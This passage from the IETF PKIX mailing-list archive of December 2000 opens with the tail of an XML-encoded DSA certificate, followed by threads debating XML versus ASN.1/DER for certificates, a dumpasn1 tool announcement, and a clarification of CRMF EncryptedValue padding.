          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 11 }</type>
            <value>nist</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
      </rdnSequence>
    </subject>
    <subjectPublicKeyInfo>
      <algorithm>
        <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
        <parameters>
          <p>
            d43802c5357bd50ba17e5d72596355d3
            4556eae2251a6bc5a4abaa0bd462b4d2
            21b195a2c601c9c3fa016f7986833d03
            61e1f192acbc034e89a3c9534af7e2a6
            48cf421e21b15c2b3a7fbabe6b5af70a
            26d88e1bebecbf1e5a3f45c0bd3123be
            6971a7c290fea5d680b524dc449ceb4d
            f9daf0c8e8a24c99075c8e352b7d578d
          </p>
          <q>
            a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
          </q>
          <g>
            0e3b46318a0a58864084e3a1220d88ca
            908857649f0121e01505942482e21090
            d9e14e105ce7546bd40c2b1b590aa0b5
            a17db507e3657cea90d88e3042e485bb
            acfa4e764b780edf6ce5a6e1bd59777d
            a69759c529a7b33f953e9df1592df742
            87623ff1b86fc73d4bb88d74c4ca4490
            cf67dbde1460974ad1f76d9e0994c40d
          </g>
        </parameters>
      </algorithm>
      <subjectPublicKey>
        028180aa98ea1394a2dbf15b7f982f78
        e7d8e3b97186f6802f4039c3da3b4b13
        4626ee0d56c5a33a39b77d33c26b5c77
        92f255659039cd1a3c86e132eb25bc91
        c4ff804f3661bdcce26104e07e6013ca
        c09cdde0ea41de33c1f144a9bc71decf
        59d46eda44993c2164e478549dd07bba
        4ef5184d5e3930bfe0d1f6f483254f14
        aa71e1
      </subjectPublicKey>
    </subjectPublicKeyInfo>
    <extensions>
      <Extension>
          <extnId>
          { 2 5 29 19 }
        </extnId>
        <critical>
          TRUE
        </critical>
        <extnValue>
          30030101ff
        </extnValue>
      </Extension>
      <Extension>
        <extnId>
          { 2 5 29 14 }
        </extnId>
        <extnValue>
          0414e726c554cd5ba36f356895aad5ff1c21e42275d6
        </extnValue>
      </Extension>
    </extensions>
  </toBeSigned>
  <algorithmIdentifier>
    <algorithm>
      { 1 2 840 10040 4 3 }
    </algorithm>
  </algorithmIdentifier>
  <encrypted>
    302c0214a066c176339913518d93642f
    ca1373de791a7d3302145d90f6ce924a
    bf2911248028a65a8e73b6760268
  </encrypted>
</Certificate>

Regards,
Steven



Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA04211 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 15:16:12 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA226824; Thu, 7 Dec 2000 18:17:12 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA18610; Thu, 7 Dec 2000 18:16:06 -0500
Importance: Normal
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
To: thayes@netscape.com (Terry Hayes)
Cc: Polar Humenn <polar@adiron.com>, Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF6A94D9C2.805F97C7-ON852569AE.0068F124@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Thu, 7 Dec 2000 18:17:40 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at 12/07/2000 06:17:53 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA04213

     IMHO the main advantage of XML over ASN.1 for any of these PKI
functions, including AC's, is the far greater number of developers who are
fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
relatively few who is more fluent in ASN.1 than XML, I know of no other
reason why XML should be preferred for such uses.  However, since syntax
difficulty may well have been one of the reasons why SMTP has become widely
adopted while X.400 has not, this is not a trivial reason.

          Tom Gindin


thayes@netscape.com (Terry Hayes) on 12/07/2000 02:00:24 PM

To:   Polar Humenn <polar@adiron.com>
cc:   Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
Subject:  Re: PKIXML session.  Was: PKIX WG tentative agenda



Polar Humenn wrote:

On Thu, 7 Dec 2000, Tim Polk wrote:

<snipped>


To be honest, I personally believe that XML is an
inappropriate encoding format for certificates (public key *or* attribute).



Forgive me, I'm just an academic. So, my I ask, what does the encoding
format really matter? And especially, why is XML "inappropriate" for
certificates?


At the end of the day, the encoding format doesn't really matter.  As long
as the required data is included in the payload, and all the parties
involved can decode and process the message, the desired results will be
acheived.

However,  there currently is a widely deployed and useful infrastructure
for certificates that uses ASN.1, DER and X.509 as the standard way of
representing the payload.  There are applications and protocols that use
this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed
these existing formats.  There is infrastructure developed and deployed for
generating these certificates.  There are standard interfaces to devices
that provided mechanisms for dealing with X.509 certificates (I'm thinking
of PKCS#11).

Why would you want to replace all of these just for the sake of "purity of
XML"?

Terry




Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA03758; Thu, 7 Dec 2000 15:05:36 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id MAA15272; Fri, 8 Dec 2000 12:07:41 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz)
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <97623046120024>; Fri, 8 Dec 2000 12:07:41 (NZDT)
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: ietf-pkix@imc.org, ietf-smime@imc.org
Subject: Semi-annual reminder: dumpasn1 utility available
Sender: pgut001@cs.auckland.ac.nz
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 8 Dec 2000 12:07:41 (NZDT)
Message-ID: <97623046120024@kahu.cs.auckland.ac.nz>

This is a semi-annual reminder to people about dumpasn1, which picks apart
ASN.1 data and displays it in human-readable form.  I do actually update this
every now and then, so it's worth checking every few months for new copies.
Recent (within the last 6-12 months) features include automatic detection of
stuff encapsulated inside bit/octet strings (no more -o or -b options),
detection of encapsulated text strings disguised as something else, the ability
to display text alongside a hex dump of data, an attempt at displaying
BMPStrings under Windows (which for console apps doesn't actually work anything
like what the docs would have you believe, if anyone can get it to display non
8859-1 characters let me know), and an indication of which bit is set if you've
got a large string of zero bits with a single 1 bit at the start (this was
motivated by the need to pick apart CMP error codes).

Available as usual from http://www.cs.auckland.ac.nz/~pgut001/dumpasn1.{c|.cfg}
for the source code and config file.

Peter.



Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01306 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 14:19:49 -0800 (PST)
Received: (qmail 20593 invoked from network); 7 Dec 2000 22:21:53 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 22:21:53 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 16:21:50 -0600
Message-ID: <3A300D20.F7497497@nma.com>
Date: Thu, 07 Dec 2000 14:20:16 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Polk wrote:

> Tim Polk wrote:
> > > First, I believe that significant work remains to handle signed XML at
> > > all.   In its basic form, XML encoded documents can be modified without
> > > changing the document.  That breaks signatures.
> >
>
> Ed Gerck wrote:
> >But not the document.  This is IMO good point #1 -- and you can always prove
> >that the document was signed.
>
> I don't get it.  If the signature is broken, you cannot prove the document
> was signed.  All you know is that the signature does not verify.

If XML encoded documents can be modified without changing the
document, then presenting one XML encoded document which has
a valid signature is enough to allow any number of documents equal
to that one to be verified -- irrespective of their XML encoded form.

In other words, if F: X --> Y is a mapping between two sets X and Y
such that several different x in X have the same image y0 in Y, then presenting
a valid signature for one x0 is enough, together with a certified F, to certify all
other x that have the same image as the certified x0 mapped by the certified F,
which is y0.

> > > Secondly, XML certificates are going to bring a significant increase in
> > > size.
> >
> >This is just a question of proper compression.  The information capacity of
> >the certificate (viewed as a Shannon communication channel) versus its size
> >is not only a function of the pre-encoding used but also of the post-encoding.
> >
> >So, this is IMO good point #2 -- you can reduce a XML certificate size
> >*below* the
> >ASN.1 size.
>
> Much of the information cannot be compressed, though.  Keys and signatures
> should look like random data, so there shouldn't be much of a gain
> there.

The same happens with ASN.1, so both are tied for anything that is random.
But anything else can be compressed and presents a benefit for compressed
XML over ASN.1.

>  If you compress the remaining parts, it won't be readable, and the
> client system has to implement special processing rules to obtain the
> needed information.  Hmm, sounds like decoding the ASN.1 to me.

Except that the transmitted data can be smaller, which is the point here --
when you mention size as a prime factor. But you can always trade-off for
speed and not compress at all, or compress with a simpler method.

> > >
> > > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> > > our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> > > demonstrates, but we know how to make it work.
> >
> >A Florida election official said the same the other day about chads and
> >paper-ballots:
> >-- sometjing like "Now that every voter knows the problem, the system will
> >be really
> >accurate. We can continue to use punch-cards".
> >
> >But this is not the problem, is it?
>
> Point well taken, but I am not convinced that XML is simpler, clearer or
> more interoperable solution.  The difference with voting is that NIST
> identified these problems back in '88.  No one noticed or cared back then.

and in 89, 90, 91, 92, ... 99 when the problem again raised its ugly head
and was again mentioned.  But paper printing is a good business and
in the name of "current implementations" the situation grew worse,
at the cost of $3 to $7 dollar per cast vote.

Some parallels can be drawn with the present case, I am sure, even though
a certificate costs between $30 to $300 and there is no paper involved. In the
good name of "current implementations", change is stalled. But reality knocks
on the door, sooner or later.  The King is nude in elections.

Now, with more and more of our economy depending on digital certificates and
almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet
block innovation in name of business, or a "preferred encoding".

This PKIX WG should support a subgroup that could avoid the usual mistakes
and may provide us with more markets, not less markets -- more uses, not less uses.

Just my opinion, of course.

Cheers,

Ed Gerck



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24261 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:08:11 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA10726; Thu, 7 Dec 2000 15:10:18 -0500 (EST)
Message-Id: <4.2.0.58.20001207144441.01c61ae0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 15:08:06 -0500
To: Ed Gerck <egerck@nma.com>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WG tentative agenda
Cc: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
In-Reply-To: <3A2FE2D5.1962319@nma.com>
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Ed,

> > First, I believe that significant work remains to handle signed XML at
> > all.   In its basic form, XML encoded documents can be modified without
> > changing the document.  That breaks signatures.
>
>But not the document.  This is IMO good point #1 -- and you can always prove
>that the document was signed.

I don't get it.  If the signature is broken, you cannot prove the document 
was signed.  All you know is that the signature does not verify.


> > Secondly, XML certificates are going to bring a significant increase in
> > size.
>
>This is just a question of proper compression.  The information capacity of
>the certificate (viewed as a Shannon communication channel) versus its size
>is not only a function of the pre-encoding used but also of the post-encoding.
>
>So, this is IMO good point #2 -- you can reduce a XML certificate size 
>*below* the
>ASN.1 size.

Much of the information cannot be compressed, though.  Keys and signatures 
should look like random data, so there shouldn't be much of a gain 
there.  If you compress the remaining parts, it won't be readable, and the 
client system has to implement special processing rules to obtain the 
needed information.  Hmm, sounds like decoding the ASN.1 to me.

> >
> > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> > our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> > demonstrates, but we know how to make it work.
>
>A Florida election official said the same the other day about chads and 
>paper-ballots:
>-- sometjing like "Now that every voter knows the problem, the system will 
>be really
>accurate. We can continue to use punch-cards".
>
>But this is not the problem, is it?

Point well taken, but I am not convinced that XML is simpler, clearer or 
more interoperable solution.  The difference with voting is that NIST 
identified these problems back in '88.  No one noticed or cared back then.

Thanks,

Tim



Received: from ntserver2.chrysalis-its.com ([209.47.245.163]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24240 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:08:03 -0800 (PST)
From: FRousseau@chrysalis-its.com
Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21) id <XXCGYBA3>; Thu, 7 Dec 2000 15:10:14 -0500
Message-ID: <918C70B01822D411A87400B0D0204DFF72F55A@panda.chrysalis-its.com>
To: arik@phaos.com
Cc: ietf-pkix@imc.org
Subject: RE: CRMF EncryptedValue
Date: Thu, 7 Dec 2000 15:10:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06089.B566BBAE"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06089.B566BBAE
Content-Type: text/plain;
	charset="iso-8859-1"

Ari,

It is not incomplete if implementations follow the approach described in the
note after the ASN.1 for the EncryptedValue structure in Section 6.4:

-- When EncryptedValue is used to carry a private key (as opposed to
-- a certificate, implementations MUST support the encValue field
-- containing an encrypted PrivateKeyInfo as defined in [PKCS11],
-- section 12.9, with the exception that the D-H algorithm OID and
-- parameters MUST be as defined in ANSI X9.42.  In this case,
-- the intendedAlg field is unnecessary (since this information is 
-- included in PrivateKeyInfo) and MUST be omitted.
-- If encValue contains some other format/encoding for the private 
-- key, intendedAlg MUST be present. Furthermore, the first octet of 
-- valueHint MAY be used to indicate the format/encoding (but note 
-- that the possible values of this octet are not specified at this
-- time).

Section 12.9 of PKCS#11 v2.10 describes precisely how to use secret keys for
wrapping and unwrapping RSA private keys, Diffie-Hellman private keys, and
DSA private keys.

For wrapping, a private key is BER-encoded according to PKCS #8's
PrivateKeyInfo ASN.1 type.  PKCS #8 requires an algorithm identifier for the
type of the private key and the parameters for the algorithm identifiers.
Both of these values are also mentioned in PKCS#11 except for X9.42 as per
the note above.  Once a private key has been BER-encoded as a PrivateKeyInfo
type, the resulting string of bytes is encrypted with the secret key.  This
encryption must be done in CBC mode with PKCS padding.

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419
http://www.chrysalis-its.com     Fax. (613) 723-5078



-----Original Message-----
From: Ari Kermaier [mailto:arik@phaos.com]
Sent: Wednesday, December 06, 2000 3:40 PM
To: ietf-pkix@imc.org
Subject: CRMF EncryptedValue


It seems to me that the EncryptedValue structure defined in CRMF (used in 
POPOPrivKey and PKIArchiveOptions) may be incompletely specified.

The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is:

EncryptedValue ::= SEQUENCE {
       intendedAlg   [0] AlgorithmIdentifier  OPTIONAL,
       -- the intended algorithm for which the value will be used
       symmAlg       [1] AlgorithmIdentifier  OPTIONAL,
       -- the symmetric algorithm used to encrypt the value
       encSymmKey    [2] BIT STRING           OPTIONAL,
       -- the (encrypted) symmetric key used to encrypt the value
       keyAlg        [3] AlgorithmIdentifier  OPTIONAL,
       -- algorithm used to encrypt the symmetric key
       valueHint     [4] OCTET STRING         OPTIONAL,
       -- a brief description or identifier of the encValue content
       -- (may be meaningful only to the sending entity, and used only
       -- if EncryptedValue might be re-examined by the sending entity
       -- in the future)
         encValue       BIT STRING }

How does the recipient of such a structure know what block padding scheme 
may (or may not) have been used with the symmetric encryption algorithm? 
CMS, for example, specifies mechanisms whereby this information is conveyed 
with similar message structures, but I can't seem to find any mention of 
this in CMP/CRMF. Any ideas, anyone?

Ari

------_=_NextPart_001_01C06089.B566BBAE
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>RE: CRMF EncryptedValue</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Ari,</FONT>
</P>

<P><FONT SIZE=3D2>It is not incomplete if implementations follow the =
approach described in the note after the ASN.1 for the EncryptedValue =
structure in Section 6.4:</FONT></P>

<P><FONT SIZE=3D2>-- When EncryptedValue is used to carry a private key =
(as opposed to</FONT>
<BR><FONT SIZE=3D2>-- a certificate, implementations MUST support the =
encValue field</FONT>
<BR><FONT SIZE=3D2>-- containing an encrypted PrivateKeyInfo as defined =
in [PKCS11],</FONT>
<BR><FONT SIZE=3D2>-- section 12.9, with the exception that the D-H =
algorithm OID and</FONT>
<BR><FONT SIZE=3D2>-- parameters MUST be as defined in ANSI =
X9.42.&nbsp; In this case,</FONT>
<BR><FONT SIZE=3D2>-- the intendedAlg field is unnecessary (since this =
information is </FONT>
<BR><FONT SIZE=3D2>-- included in PrivateKeyInfo) and MUST be =
omitted.</FONT>
<BR><FONT SIZE=3D2>-- If encValue contains some other format/encoding =
for the private </FONT>
<BR><FONT SIZE=3D2>-- key, intendedAlg MUST be present. Furthermore, =
the first octet of </FONT>
<BR><FONT SIZE=3D2>-- valueHint MAY be used to indicate the =
format/encoding (but note </FONT>
<BR><FONT SIZE=3D2>-- that the possible values of this octet are not =
specified at this</FONT>
<BR><FONT SIZE=3D2>-- time).</FONT>
</P>

<P><FONT SIZE=3D2>Section 12.9 of PKCS#11 v2.10 describes precisely how =
to use secret keys for wrapping and unwrapping RSA private keys, =
Diffie-Hellman private keys, and DSA private keys.</FONT></P>

<P><FONT SIZE=3D2>For wrapping, a private key is BER-encoded according =
to PKCS #8's PrivateKeyInfo ASN.1 type.&nbsp; PKCS #8 requires an =
algorithm identifier for the type of the private key and the parameters =
for the algorithm identifiers.&nbsp; Both of these values are also =
mentioned in PKCS#11 except for X9.42 as per the note above.&nbsp; Once =
a private key has been BER-encoded as a PrivateKeyInfo type, the =
resulting string of bytes is encrypted with the secret key.&nbsp; This =
encryption must be done in CBC mode with PKCS padding.</FONT></P>

<P><FONT SIZE=3D2>Cheers,</FONT>
</P>

<P><FONT SIZE=3D2>Francois</FONT>
<BR><FONT SIZE=3D2>___________________________________</FONT>
<BR><FONT SIZE=3D2>Francois Rousseau</FONT>
<BR><FONT SIZE=3D2>Director of Standards and Conformance</FONT>
<BR><FONT SIZE=3D2>Chrysalis-ITS</FONT>
<BR><FONT SIZE=3D2>1688 Woodward Drive</FONT>
<BR><FONT SIZE=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT>
<BR><FONT =
SIZE=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613) 723-5076 ext. 419</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.chrysalis-its.com" =
TARGET=3D"_blank">http://www.chrysalis-its.com</A>&nbsp;&nbsp;&nbsp;&nbs=
p; Fax. (613) 723-5078</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Ari Kermaier [<A =
HREF=3D"mailto:arik@phaos.com">mailto:arik@phaos.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, December 06, 2000 3:40 PM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: CRMF EncryptedValue</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>It seems to me that the EncryptedValue structure =
defined in CRMF (used in </FONT>
<BR><FONT SIZE=3D2>POPOPrivKey and PKIArchiveOptions) may be =
incompletely specified.</FONT>
</P>

<P><FONT SIZE=3D2>The syntax from draft-ietf-pkix-rfc2511bis-00 Section =
6.4 is:</FONT>
</P>

<P><FONT SIZE=3D2>EncryptedValue ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
intendedAlg&nbsp;&nbsp; [0] AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the intended =
algorithm for which the value will be used</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
symmAlg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [1] =
AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the =
symmetric algorithm used to encrypt the value</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
encSymmKey&nbsp;&nbsp;&nbsp; [2] BIT =
STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the =
(encrypted) symmetric key used to encrypt the value</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
keyAlg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [3] =
AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- algorithm =
used to encrypt the symmetric key</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
valueHint&nbsp;&nbsp;&nbsp;&nbsp; [4] OCTET =
STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- a brief =
description or identifier of the encValue content</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- (may be =
meaningful only to the sending entity, and used only</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- if =
EncryptedValue might be re-examined by the sending entity</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- in the =
future)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
encValue&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BIT STRING }</FONT>
</P>

<P><FONT SIZE=3D2>How does the recipient of such a structure know what =
block padding scheme </FONT>
<BR><FONT SIZE=3D2>may (or may not) have been used with the symmetric =
encryption algorithm? </FONT>
<BR><FONT SIZE=3D2>CMS, for example, specifies mechanisms whereby this =
information is conveyed </FONT>
<BR><FONT SIZE=3D2>with similar message structures, but I can't seem to =
find any mention of </FONT>
<BR><FONT SIZE=3D2>this in CMP/CRMF. Any ideas, anyone?</FONT>
</P>

<P><FONT SIZE=3D2>Ari</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06089.B566BBAE--


Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20409 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 11:19:14 -0800 (PST)
Received: (qmail 26325 invoked from network); 7 Dec 2000 19:21:20 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 19:21:20 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 13:21:17 -0600
Message-ID: <3A2FE2D5.1962319@nma.com>
Date: Thu, 07 Dec 2000 11:19:49 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
Subject: two good points, Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Polk wrote:

> At 10:10 AM 12/7/00 -0500, Polar Humenn wrote:
> >On Thu, 7 Dec 2000, Tim Polk wrote:
>
> > > To be honest, I personally believe that XML is an
> > > inappropriate encoding format for certificates (public key *or* attribute).
> >
> >Forgive me, I'm just an academic. So, my I ask, what does the encoding
> >format really matter? And especially, why is XML "inappropriate" for
> >certificates?
>
> I'm just a government hack, so take it for what it's worth:
>
> <snip>
> I see tow major problems with XML as a near term solution for
> certificates.  Perhaps they can be resolved in the future, but they seem
> like issues today.
>
> First, I believe that significant work remains to handle signed XML at
> all.   In its basic form, XML encoded documents can be modified without
> changing the document.  That breaks signatures.

But not the document.  This is IMO good point #1 -- and you can always prove
that the document was signed.

> Secondly, XML certificates are going to bring a significant increase in
> size.

This is just a question of proper compression.  The information capacity of
the certificate (viewed as a Shannon communication channel) versus its size
is not only a function of the pre-encoding used but also of the post-encoding.

So, this is IMO good point #2 -- you can reduce a XML certificate size *below* the
ASN.1 size.

> I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> demonstrates, but we know how to make it work.

A Florida election official said the same the other day about chads and paper-ballots:
-- sometjing like "Now that every voter knows the problem, the system will be really
accurate. We can continue to use punch-cards".

But this is not the problem, is it?

Cheers,

Ed Gerck



Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17576 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:58:43 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id eB7IlKs16757 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:47:20 -0800 (PST)
Received: from netscape.com ([192.18.121.215]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id G57OSN01.JG8; Thu, 7 Dec 2000 11:00:23 -0800 
Message-ID: <3A2FDE48.9000602@netscape.com>
Date: Thu, 07 Dec 2000 11:00:24 -0800
From: thayes@netscape.com (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Polar Humenn <polar@adiron.com>
CC: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
Content-Type: multipart/alternative; boundary="------------010203070804080906090505"

--------------010203070804080906090505
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an 
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

At the end of the day, the encoding format doesn't really matter.  As 
long as the required data is included in the payload, and all the 
parties involved can decode and process the message, the desired results 
will be acheived.

However,  there currently is a widely deployed and useful infrastructure 
for certificates that uses ASN.1, DER and X.509 as the standard way of 
representing the payload.  There are applications and protocols that use 
this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed 
these existing formats.  There is infrastructure developed and deployed 
for generating these certificates.  There are standard interfaces to 
devices that provided mechanisms for dealing with X.509 certificates 
(I'm thinking of PKCS#11).

